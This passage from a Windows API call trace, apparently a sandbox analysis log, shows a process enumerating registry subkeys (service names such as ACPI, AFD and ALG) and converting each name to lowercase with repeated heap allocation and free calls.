Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1e38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1e38, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1e38, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 